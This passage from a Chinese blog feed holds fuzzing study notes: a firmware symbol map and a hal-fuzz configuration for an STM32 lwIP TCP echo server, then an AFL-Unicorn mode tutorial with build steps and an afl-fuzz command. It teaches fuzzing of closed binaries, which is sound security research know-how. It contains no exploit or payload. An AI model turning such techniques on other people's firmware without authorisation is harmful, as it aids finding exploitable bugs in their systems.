class="string">I2Cx_Error</span>, <span class="attr">134245525:</span> <span class="string">MFX_IO_ITConfig</span>, <span class="attr">134245669:</span> <span class="string">MFX_IO_Write</span>, <span class="attr">134245713:</span> <span class="string">MFX_IO_Read</span>,</span><br><span class="line"> <span class="attr">134245753:</span> <span class="string">MFX_IO_ReadMultiple</span>, <span class="attr">134245813:</span> <span class="string">MFX_IO_Delay</span>, <span class="attr">134245961:</span> <span class="string">BSP_IO_ITGetStatus</span>,</span><br><span class="line"> <span class="attr">134245997:</span> <span class="string">BSP_IO_ITClear</span>, <span class="attr">134246021:</span> <span class="string">BSP_IO_ConfigPin</span>, <span class="attr">134246061:</span> <span class="string">BSP_LCD_GetXSize</span>,</span><br><span class="line"> <span class="attr">134246085:</span> <span class="string">BSP_LCD_SetTextColor</span>, <span class="attr">134246133:</span> <span class="string">BSP_LCD_GetFont</span>, <span class="attr">134246177:</span> <span class="string">BSP_LCD_DisplayChar</span>,</span><br><span class="line"> <span class="attr">134246317:</span> <span class="string">BSP_LCD_DisplayStringAt</span>, <span class="attr">134246709:</span> <span class="string">BSP_LCD_DisplayStringAtLine</span>, <span class="attr">134246757:</span> <span class="string">BSP_LCD_DrawPixel</span>,</span><br><span class="line"> <span class="attr">134246833:</span> <span class="string">DrawChar</span>, <span class="attr">134247201:</span> <span class="string">lwip_htons</span>, <span class="attr">134247237:</span> <span class="string">lwip_htonl</span>, <span class="attr">134247289:</span> <span class="string">lwip_standard_chksum</span>,</span><br><span class="line"> <span class="attr">134247477:</span> <span class="string">inet_chksum_pbuf</span>, <span class="attr">134247629:</span> <span class="string">lwip_init</span>, <span class="attr">134247669:</span> <span class="string">plug_holes</span>, <span class="attr">134247973:</span> <span class="string">mem_init</span>,</span><br><span class="line"> <span class="attr">134248093:</span> <span class="string">mem_free</span>, <span class="attr">134248285:</span> <span class="string">mem_trim</span>, <span class="attr">134248725:</span> <span class="string">mem_malloc</span>, <span class="attr">134249193:</span> <span class="string">memp_init_pool</span>,</span><br><span class="line"> <span class="attr">134249285:</span> <span class="string">memp_init</span>, <span class="attr">134249333:</span> <span class="string">do_memp_malloc_pool</span>, <span class="attr">134249417:</span> <span class="string">memp_malloc</span>, <span class="attr">134249493:</span> <span class="string">do_memp_free_pool</span>,</span><br><span class="line"> <span class="attr">134249569:</span> <span class="string">memp_free</span>, <span class="attr">134249661:</span> <span class="string">netif_add</span>, <span class="attr">134249849:</span> <span class="string">netif_set_addr</span>, <span class="attr">134249933:</span> <span class="string">netif_set_ipaddr</span>,</span><br><span class="line"> <span class="attr">134250045:</span> <span class="string">netif_set_gw</span>, <span class="attr">134250085:</span> <span class="string">netif_set_netmask</span>, <span class="attr">134250153:</span> <span class="string">netif_set_up</span>,</span><br><span class="line"> <span class="attr">134250221:</span> <span class="string">netif_issue_reports</span>, <span class="attr">134250285:</span> <span class="string">netif_set_down</span>, <span class="attr">134250353:</span> <span class="string">netif_set_link_up</span>,</span><br><span class="line"> <span class="attr">134250445:</span> <span class="string">netif_set_link_down</span>, <span class="attr">134250509:</span> <span class="string">netif_set_link_callback</span>, <span class="attr">134250541:</span> <span class="string">pbuf_alloc</span>,</span><br><span class="line"> <span class="attr">134251341:</span> <span class="string">pbuf_alloced_custom</span>, <span class="attr">134251553:</span> <span class="string">pbuf_realloc</span>, <span class="attr">134251901:</span> <span class="string">pbuf_header_impl</span>,</span><br><span class="line"> <span class="attr">134252229:</span> <span class="string">pbuf_header</span>, <span class="attr">134252265:</span> <span class="string">pbuf_header_force</span>, <span class="attr">134252301:</span> <span class="string">pbuf_free</span>, <span class="attr">134252597:</span> <span class="string">pbuf_clen</span>,</span><br><span class="line"> <span class="attr">134252645:</span> <span class="string">pbuf_ref</span>, <span class="attr">134252713:</span> <span class="string">pbuf_cat</span>, <span class="attr">134252885:</span> <span class="string">pbuf_chain</span>, <span class="attr">134252917:</span> <span class="string">pbuf_copy</span>,</span><br><span class="line"> <span class="attr">134253321:</span> <span class="string">pbuf_copy_partial</span>, <span class="attr">134253581:</span> <span class="string">tcp_tmr</span>, <span class="attr">134253625:</span> <span class="string">tcp_remove_listener</span>,</span><br><span class="line"> <span class="attr">134253681:</span> <span class="string">tcp_listen_closed</span>, <span class="attr">134253789:</span> <span class="string">tcp_close_shutdown</span>, <span class="attr">134254253:</span> <span class="string">tcp_close_shutdown_fin</span>,</span><br><span class="line"> <span class="attr">134254453:</span> <span class="string">tcp_close</span>, <span class="attr">134254501:</span> <span class="string">tcp_abandon</span>, <span class="attr">134254837:</span> <span class="string">tcp_abort</span>, <span class="attr">134254861:</span> <span class="string">tcp_bind</span>,</span><br><span class="line"> <span class="attr">134255149:</span> <span class="string">tcp_accept_null</span>, <span class="attr">134255181:</span> <span class="string">tcp_listen_with_backlog</span>, <span class="attr">134255217:</span> <span class="string">tcp_listen_with_backlog_and_err</span>,</span><br><span class="line"> <span class="attr">134255521:</span> <span class="string">tcp_update_rcv_ann_wnd</span>, <span class="attr">134255681:</span> <span class="string">tcp_recved</span>, <span class="attr">134255861:</span> <span class="string">tcp_new_port</span>,</span><br><span class="line"> <span class="attr">134256001:</span> <span class="string">tcp_slowtmr</span>, <span class="attr">134257345:</span> <span class="string">tcp_fasttmr</span>, <span class="attr">134257541:</span> <span class="string">tcp_process_refused_data</span>,</span><br><span class="line"> <span class="attr">134257745:</span> <span class="string">tcp_segs_free</span>, <span class="attr">134257785:</span> <span class="string">tcp_seg_free</span>, <span class="attr">134257833:</span> <span class="string">tcp_setprio</span>, <span class="attr">134257861:</span> <span class="string">tcp_recv_null</span>,</span><br><span class="line"> <span class="attr">134257933:</span> <span class="string">tcp_kill_prio</span>, <span class="attr">134258061:</span> <span class="string">tcp_kill_state</span>, <span class="attr">134258209:</span> <span class="string">tcp_kill_timewait</span>,</span><br><span class="line"> <span class="attr">134258301:</span> <span class="string">tcp_alloc</span>, <span class="attr">134258557:</span> <span class="string">tcp_new</span>, <span class="attr">134258573:</span> <span class="string">tcp_arg</span>, <span class="attr">134258605:</span> <span class="string">tcp_recv</span>,</span><br><span class="line"> <span class="attr">134258669:</span> <span class="string">tcp_sent</span>, <span class="attr">134258733:</span> <span class="string">tcp_err</span>, <span class="attr">134258797:</span> <span class="string">tcp_accept</span>, <span class="attr">134258841:</span> <span class="string">tcp_poll</span>,</span><br><span class="line"> <span class="attr">134258909:</span> <span class="string">tcp_pcb_purge</span>, <span class="attr">134259021:</span> <span class="string">tcp_pcb_remove</span>, <span class="attr">134259241:</span> <span class="string">tcp_next_iss</span>, <span class="attr">134259289:</span> <span class="string">tcp_eff_send_mss_impl</span>,</span><br><span class="line"> <span class="attr">134259361:</span> <span class="string">tcp_netif_ip_addr_changed_pcblist</span>, <span class="attr">134259425:</span> <span class="string">tcp_netif_ip_addr_changed</span>,</span><br><span class="line"> <span class="attr">134259549:</span> <span class="string">tcp_input</span>, <span class="attr">134261445:</span> <span class="string">tcp_input_delayed_close</span>, <span class="attr">134261545:</span> <span class="string">tcp_listen_input</span>,</span><br><span class="line"> <span class="attr">134261989:</span> <span class="string">tcp_timewait_input</span>, <span class="attr">134262193:</span> <span class="string">tcp_process</span>, <span class="attr">134264065:</span> <span class="string">tcp_receive</span>, <span class="attr">134266585:</span> <span class="string">tcp_getoptbyte</span>,</span><br><span class="line"> <span class="attr">134266705:</span> <span class="string">tcp_parseopt</span>, <span class="attr">134266901:</span> <span class="string">tcp_trigger_input_pcb_close</span>, <span class="attr">134266933:</span> <span class="string">tcp_output_alloc_header</span>,</span><br><span class="line"> <span class="attr">134267181:</span> <span class="string">tcp_send_fin</span>, <span class="attr">134267309:</span> <span class="string">tcp_create_segment</span>, <span class="attr">134267585:</span> <span class="string">tcp_pbuf_prealloc</span>,</span><br><span class="line"> <span class="attr">134267785:</span> <span class="string">tcp_write_checks</span>, <span class="attr">134268017:</span> <span class="string">tcp_write</span>, <span class="attr">134269729:</span> <span class="string">tcp_enqueue_flags</span>,</span><br><span class="line"> <span class="attr">134270233:</span> <span class="string">tcp_send_empty_ack</span>, <span class="attr">134270413:</span> <span class="string">tcp_output</span>, <span class="attr">134271361:</span> <span class="string">tcp_output_segment</span>,</span><br><span class="line"> <span class="attr">134271677:</span> <span class="string">tcp_rst</span>, <span class="attr">134271913:</span> <span class="string">tcp_rexmit_rto</span>, <span class="attr">134272021:</span> <span class="string">tcp_rexmit</span>, <span class="attr">134272181:</span> <span class="string">tcp_rexmit_fast</span>,</span><br><span class="line"> <span class="attr">134272337:</span> <span class="string">tcp_keepalive</span>, <span class="attr">134272457:</span> <span class="string">tcp_zero_window_probe</span>, <span class="attr">134272841:</span> <span class="string">tcp_timer_needed</span>,</span><br><span class="line"> <span class="attr">134272905:</span> <span class="string">cyclic_timer</span>, <span class="attr">134272949:</span> <span class="string">sys_timeouts_init</span>, <span class="attr">134273029:</span> <span class="string">sys_timeout</span>, <span class="attr">134273353:</span> <span class="string">sys_check_timeouts</span>,</span><br><span class="line"> <span class="attr">134273509:</span> <span class="string">udp_new_port</span>, <span class="attr">134273625:</span> <span class="string">udp_input_local_match</span>, <span class="attr">134273745:</span> <span class="string">udp_input</span>,</span><br><span class="line"> <span class="attr">134274205:</span> <span class="string">udp_sendto_if</span>, <span class="attr">134274325:</span> <span class="string">udp_sendto_if_src</span>, <span class="attr">134274629:</span> <span class="string">udp_bind</span>, <span class="attr">134274849:</span> <span class="string">udp_netif_ip_addr_changed</span>,</span><br><span class="line"> <span class="attr">134274941:</span> <span class="string">ethernet_input</span>, <span class="attr">134275237:</span> <span class="string">ethernet_output</span>, <span class="attr">134275381:</span> <span class="string">dhcp_check</span>, <span class="attr">134275481:</span> <span class="string">dhcp_select</span>,</span><br><span class="line"> <span class="attr">134275817:</span> <span class="string">dhcp_coarse_tmr</span>, <span class="attr">134275981:</span> <span class="string">dhcp_fine_tmr</span>, <span class="attr">134276077:</span> <span class="string">dhcp_timeout</span>, <span class="attr">134276221:</span> <span class="string">dhcp_t1_timeout</span>,</span><br><span class="line"> <span class="attr">134276313:</span> <span class="string">dhcp_t2_timeout</span>, <span class="attr">134276413:</span> <span class="string">dhcp_network_changed</span>, <span class="attr">134276533:</span> <span class="string">dhcp_arp_reply</span>,</span><br><span class="line"> <span class="attr">134276621:</span> <span class="string">dhcp_decline</span>, <span class="attr">134276837:</span> <span class="string">dhcp_discover</span>, <span class="attr">134277121:</span> <span class="string">dhcp_bind</span>, <span class="attr">134277557:</span> <span class="string">dhcp_renew</span>,</span><br><span class="line"> <span class="attr">134277825:</span> <span class="string">dhcp_rebind</span>, <span class="attr">134278097:</span> <span class="string">dhcp_reboot</span>, <span class="attr">134278397:</span> <span class="string">dhcp_release</span>, <span class="attr">134278669:</span> <span class="string">dhcp_set_state</span>,</span><br><span class="line"> <span class="attr">134278721:</span> <span class="string">dhcp_option</span>, <span class="attr">134278833:</span> <span class="string">dhcp_option_byte</span>, <span class="attr">134278909:</span> <span class="string">dhcp_option_short</span>,</span><br><span class="line"> <span class="attr">134279025:</span> <span class="string">dhcp_option_long</span>, <span class="attr">134279209:</span> <span class="string">dhcp_create_msg</span>, <span class="attr">134279913:</span> <span class="string">dhcp_delete_msg</span>,</span><br><span class="line"> <span class="attr">134280045:</span> <span class="string">dhcp_option_trailer</span>, <span class="attr">134280225:</span> <span class="string">dhcp_supplied_address</span>, <span class="attr">134280301:</span> <span class="string">etharp_free_entry</span>,</span><br><span class="line"> <span class="attr">134280401:</span> <span class="string">etharp_tmr</span>, <span class="attr">134280737:</span> <span class="string">etharp_find_entry</span>, <span class="attr">134281385:</span> <span class="string">etharp_update_arp_entry</span>,</span><br><span class="line"> <span class="attr">134281713:</span> <span class="string">etharp_cleanup_netif</span>, <span class="attr">134281809:</span> <span class="string">etharp_input</span>, <span class="attr">134282109:</span> <span class="string">etharp_output_to_arp_index</span>,</span><br><span class="line"> <span class="attr">134282417:</span> <span class="string">etharp_output</span>, <span class="attr">134282889:</span> <span class="string">etharp_query</span>, <span class="attr">134283545:</span> <span class="string">etharp_raw</span>, <span class="attr">134283829:</span> <span class="string">etharp_request_dst</span>,</span><br><span class="line"> <span class="attr">134283897:</span> <span class="string">etharp_request</span>, <span class="attr">134283933:</span> <span class="string">icmp_input</span>, <span class="attr">134284461:</span> <span class="string">icmp_dest_unreach</span>,</span><br><span class="line"> <span class="attr">134284493:</span> <span class="string">icmp_time_exceeded</span>, <span class="attr">134284525:</span> <span class="string">icmp_send_response</span>, <span class="attr">134284733:</span> <span class="string">ip4_route</span>,</span><br><span class="line"> <span class="attr">134284941:</span> <span class="string">ip4_input</span>, <span class="attr">134285637:</span> <span class="string">ip4_output_if</span>, <span class="attr">134285721:</span> <span class="string">ip4_output_if_src</span>, <span class="attr">134286057:</span> <span class="string">ip4_addr_isbroadcast_u32</span>,</span><br><span class="line"> <span class="attr">134286189:</span> <span class="string">ip_reass_tmr</span>, <span class="attr">134286273:</span> <span class="string">ip_reass_free_complete_datagram</span>, <span class="attr">134286601:</span> <span class="string">ip_reass_remove_oldest_datagram</span>,</span><br><span class="line"> <span class="attr">134286797:</span> <span class="string">ip_reass_enqueue_new_datagram</span>, <span class="attr">134286913:</span> <span class="string">ip_reass_dequeue_datagram</span>,</span><br><span class="line"> <span class="attr">134287001:</span> <span class="string">ip_reass_chain_frag_into_datagram_and_validate</span>, <span class="attr">134287717:</span> <span class="string">ip4_reass</span>,</span><br><span class="line"> <span class="attr">134288385:</span> <span class="string">ip_frag_alloc_pbuf_custom_ref</span>, <span class="attr">134288401:</span> <span class="string">ip_frag_free_pbuf_custom_ref</span>,</span><br><span class="line"> <span class="attr">134288457:</span> <span class="string">ipfrag_free_pbuf_custom</span>, <span class="attr">134288557:</span> <span class="string">ip4_frag</span>, <span class="attr">134289373:</span> <span class="string">memset</span>, <span class="attr">134289529:</span> <span class="string">printf</span>,</span><br><span class="line"> <span class="attr">134289569:</span> <span class="string">rand</span>}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>主配置文件:/tests/stm32_tcp_echo/stm32_tcp_echo_server.yml</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">include:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">./../../configs/hw/cortexm_memory.yml</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">./../../configs/hals/stm32f4_hal.yml</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">./stm32_tcp_echo_server_addrs.yml</span></span><br><span class="line"></span><br><span class="line"><span class="attr">use_nvic:</span> <span class="literal">False</span></span><br><span class="line"><span class="attr">use_timers:</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="attr">memory_map:</span></span><br><span class="line"> <span class="attr">ivt:</span> {<span class="attr">base_addr:</span> <span class="number">0x0</span>, <span class="attr">file:</span> <span class="string">./stm32_tcp_echo_server.bin</span>,</span><br><span class="line"> <span class="attr">permissions:</span> <span class="string">r-x</span>, <span class="attr">size:</span> <span class="number">0x800000</span>}</span><br><span class="line"> <span class="attr">rom:</span> {<span class="attr">base_addr:</span> <span class="number">0x08000000</span>, <span class="attr">file:</span> <span class="string">./stm32_tcp_echo_server.bin</span>,</span><br><span class="line"> <span class="attr">permissions:</span> <span class="string">r-x</span>, <span class="attr">size:</span> <span class="number">0x800000</span>}</span><br><span class="line"></span><br><span class="line"><span class="attr">handlers:</span></span><br><span class="line"> <span class="attr">BSP_IO_ConfigPin:</span></span><br><span class="line"> <span class="attr">handler:</span> </span><br><span class="line"> <span class="attr">tcp_next_iss:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.lwip.tcp_next_iss_hack</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">I2C_WaitOnFlagUntilTimeout:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">I2C_WaitOnMasterAddressFlagUntilTimeout:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">I2C_WaitOnTXEFlagUntilTimeout:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">I2C_WaitOnBTFFlagUntilTimeout:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">I2C_WaitOnRXNEFlagUntilTimeout:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">HAL_ETH_TransmitFrame:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_eth.HAL_ETH_TransmitFrame</span></span><br><span class="line"> <span class="attr">HAL_ETH_GetReceivedFrame:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_eth.HAL_ETH_GetReceivedFrame</span></span><br><span class="line"> <span class="attr">HAL_ETH_WritePHYRegister:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_eth.HAL_ETH_WritePHYRegister</span></span><br><span class="line"> <span class="attr">HAL_ETH_ReadPHYRegister:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_eth.HAL_ETH_ReadPHYRegister</span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><h1 id="hal-fuzz学习笔记—part-1"><a href="#hal-fuzz学习笔记—part-1" class="headerlink" title="hal-fuzz学习笔记—part 1"></a>hal-fuzz学习笔记—part 1</h1><h2 i</summary>
<category term="hal" scheme="http://example.com/tags/hal/"/>
<category term="fuzz" scheme="http://example.com/tags/fuzz/"/>
</entry>
<entry>
<title>AFL-Unicorn模式学习笔记</title>
<link href="http://example.com/2023/01/07/AFL-Unicorn%E6%A8%A1%E5%BC%8F%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
<id>http://example.com/2023/01/07/AFL-Unicorn%E6%A8%A1%E5%BC%8F%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
<published>2023-01-07T07:49:25.000Z</published>
<updated>2023-01-07T07:50:42.078Z</updated>
<content type="html"><![CDATA[<h1 id="AFL-Unicorn模式学习笔记"><a href="#AFL-Unicorn模式学习笔记" class="headerlink" title="AFL-Unicorn模式学习笔记"></a>AFL-Unicorn模式学习笔记</h1><h2 id="AFL-选项及含义"><a href="#AFL-选项及含义" class="headerlink" title="AFL-选项及含义"></a>AFL-选项及含义</h2><p>这个是一部分AFL源码,指示了AFL键入选项的含义:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Display usage hints. */</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">usage</span><span class="params">(u8* argv0)</span> </span>{</span><br><span class="line"></span><br><span class="line"> SAYF(<span class="string">"\n%s [ options ] -- /path/to/fuzzed_app [ ... ]\n\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"Required parameters:\n\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">" -i dir - input directory with test cases\n"</span></span><br><span class="line"> <span class="string">" -o dir - output directory for fuzzer findings\n\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"Execution control settings:\n\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">" -f file - location read by the fuzzed program (stdin)\n"</span></span><br><span class="line"> <span class="string">" -t msec - timeout for each run (auto-scaled, 50-%u ms)\n"</span></span><br><span class="line"> <span class="string">" -m megs - memory limit for child process (%u MB)\n"</span></span><br><span class="line"> <span class="string">" -Q - use binary-only instrumentation (QEMU mode)\n"</span> </span><br><span class="line"> <span class="string">" -U - use Unicorn-based instrumentation (Unicorn mode)\n\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"Fuzzing behavior settings:\n\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">" -d - quick & dirty mode (skips deterministic steps)\n"</span></span><br><span class="line"> <span class="string">" -n - fuzz without instrumentation (dumb mode)\n"</span></span><br><span class="line"> <span class="string">" -x dir - optional fuzzer dictionary (see README)\n\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"Other stuff:\n\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">" -T text - text banner to show on the screen\n"</span></span><br><span class="line"> <span class="string">" -M / -S id - distributed mode (see parallel_fuzzing.txt)\n"</span></span><br><span class="line"> <span class="string">" -C - crash exploration mode (the peruvian rabbit thing)\n\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"For additional tips, please consult %s/README.\n\n"</span>,</span><br><span class="line"></span><br><span class="line"> argv0, EXEC_TIMEOUT, MEM_LIMIT, doc_path);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="Unicorn-Mode介绍"><a href="#Unicorn-Mode介绍" class="headerlink" title="Unicorn Mode介绍"></a>Unicorn Mode介绍</h2><p>以下内容来自于源文件中关于 unicorn_mode 中的 README 文件:</p><h3 id="1-介绍"><a href="#1-介绍" class="headerlink" title="1.介绍"></a>1.介绍</h3><p>此目录中的代码允许您构建利用Unicorn引擎的独立功能,并允许调用方获取黑盒、封闭源代码二进制代码段的检测输出。然后,afl-fuzz可以使用此机制对不能使用afl-gcc构建、不能在QEMU模式下使用或不能使用TriforceAFL等其他扩展的目标进行压力测试。</p><p>与原生AFL相比,性能损失很大,但至少我们能够在这些二进制文件上使用AFL,对吗?</p><p>这个想法和大部分实现来自Nathan Voss [email protected]。</p><h3 id="2-怎么使用"><a href="#2-怎么使用" class="headerlink" title="2.怎么使用"></a>2.怎么使用</h3><h4 id="构建AFL的Unicorn模式"><a href="#构建AFL的Unicorn模式" class="headerlink" title="构建AFL的Unicorn模式"></a>构建AFL的Unicorn模式</h4><p>首先,像往常一样建立afl。这很简单:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">cd</span> <afl_root></span></span><br><span class="line"><span class="meta">$</span><span class="bash"> make</span></span><br></pre></td></tr></table></figure><p>成功完成后,您需要构建并添加 Unicorn Mode 功能:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">cd</span> unicorn_mode</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> ./build_unicorn_support.sh</span></span><br></pre></td></tr></table></figure><p>注意:此脚本从Unicorn github页面下载最新的Unicorn Engine稳定版本。如果您是离线的,您需要稍微修改一下这个脚本,并提供您自己的Unicorn最新稳定版本的副本。这并不难,只需查看build_unicorn_support. sh脚本的开头并根据需要进行调整。</p><p>构建独角兽将需要一点时间(~5-10分钟)。完成后,它会自动编译一个示例应用程序并验证它是否正常工作。</p><h4 id="使用Unicorn模式进行模糊测试"><a href="#使用Unicorn模式进行模糊测试" class="headerlink" title="使用Unicorn模式进行模糊测试"></a>使用Unicorn模式进行模糊测试</h4><p>要真正有效地使用独角兽模式,您需要准备以下内容:</p><ul><li>待fuzz的相关二进制码</li><li>内存映射和良好的启动状态的情报(memory map and good starting state)</li><li>包含用于启动模糊处理的示例输入的文件夹<ul><li>构造的想法与任何其他AFL输入内容相同</li><li>结果的质量/速度将在很大程度上取决于起始样品的质量</li><li>参见AFL关于如何创建样本语料库的指导</li></ul></li><li>基于Unicorn的测试线束 Unicorn-based <strong>test harness</strong> which:<ul><li>添加内存映射区域</li><li>将二进制代码加载到内存</li><li>至少模拟一条指令 *<ul><li>是啊,这个描述很模糊。有关更多详细信息,请参见下面的“Gotchas(陷阱)”部分</li></ul></li><li>从命令行指定的文件加载并验证要fuzz的数据<ul><li>AFL将通过更改传递给测试工具的文件来提供变异输入</li><li>假定要模糊化的数据位于固定的缓冲器地址</li><li>如果输入约束(大小、无效的字节,等等)是已知的,应该在文件加载后对其进行检查。如果一个约束失败(错误了),退出测试工具。AFL将输入为“uninteresting”,继续前进。</li></ul></li><li>设置寄存器和内存状态(memory state)以开始测试</li><li>从头到尾模拟 interested 的代码</li><li>如果检测到crash,测试线束必须通过发出信号(SIGSEGV、SIGKILL、SIGABORT等)来产生“crash”</li></ul></li></ul><p>一旦你准备好了所有这些东西,你只需要在’unicorn-mode’下通过传递’-U’标志来运行afl-fuzz:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> afl-fuzz -U -m none -i /path/to/inputs -o /path/to/results -- ./test_harness @@</span></span><br></pre></td></tr></table></figure><p>普通的afl-fuzz命令行格式适用于这里的所有内容。有关如何有效使用afl-fuzz的更多信息,请参考AFL的主要文档。</p><p>要更清楚地了解所有这些内容,请参考’unicorn_mode/samples’目录中提供的示例。还有一篇博客文章介绍了基本知识,网址是:</p><p><a href="https://medium.com/@njvoss299/afl-unicorn-fuzzing-arbitrary-binary-code-563ca28936bf">https://medium.com/@njvoss299/afl-unicorn-fuzzing-arbitrary-binary-code-563ca28936bf</a></p><p>‘helper_scripts’目录还包含几个helper脚本,它们允许您从正在运行的进程转储上下文、加载上下文以及hook堆分配。关于如何使用这个的细节,请查看上面链接的后续博客文章。</p><h3 id="3-Gotchas-feedback-bugs"><a href="#3-Gotchas-feedback-bugs" class="headerlink" title="3. Gotchas, feedback, bugs"></a>3. Gotchas, feedback, bugs</h3><p>为了确保AFL的fork服务器正确启动,Unicorn的test harness脚本必须在加载“将从输入文件中参与fuzz的”数据前之前模拟至少一条指令。指令是什么并不重要,也不重要它是否有效。这是fork-server启动方式的产物,可以通过巧妙地重新安排应用于Unicorn的补丁来修复。</p><p>运行构建脚本将构建Unicorn及其python绑定,并将它们安装到您的系统上。此安装将用修补的afl-unicorn版本取代任何现有的Unicorn安装。</p><p>有关如何正确执行此操作的示例,请参阅unicorn_mode/samples/arm_example/arm_tester. c!如果你没有得到这个权利,AFL将不会加载任何变异的输入并且你的fuzz将是无用的!</p><h2 id="Unicorn-Mode简例"><a href="#Unicorn-Mode简例" class="headerlink" title="Unicorn Mode简例"></a>Unicorn Mode简例</h2><p>本部分内容出自:<a href="https://medium.com/hackernoon/afl-unicorn-fuzzing-arbitrary-binary-code-563ca28936bf">https://medium.com/hackernoon/afl-unicorn-fuzzing-arbitrary-binary-code-563ca28936bf</a></p><p>Unicorn 模式的工作原理是将 AFL 的 QEMU 模式通常在 Unicorn 引擎中执行的块边缘检测。基本上,AFL 将使用来自任何模拟代码片段的块覆盖信息来驱动其输入生成。整个想法围绕着正确构建基于 Unicorn 的测试工具,如下图所示:</p><p><img src="/2023/01/07/AFL-Unicorn%E6%A8%A1%E5%BC%8F%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/1Fk1INIYI8_d0L4NILOqYXw.png" class="lazyload placeholder" data-srcset="/2023/01/07/AFL-Unicorn%E6%A8%A1%E5%BC%8F%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/1Fk1INIYI8_d0L4NILOqYXw.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="img"></p><p>基于 Unicorn 的测试工具加载目标代码,设置初始状态,并从磁盘加载 AFL 变异的数据。然后测试工具模拟目标二进制代码,如果它检测到发生崩溃或错误,它会抛出一个信号。AFL 会做所有正常的事情,但它实际上是在模糊模拟目标二进制代码!</p><p>Unicorn 模式应该可以按预期与使用任何标准 Unicorn 绑定(C/Python/Go/Whatever)编写的 Unicorn 脚本或应用程序一起工作,只要在一天结束时测试工具使用从修补程序编译的 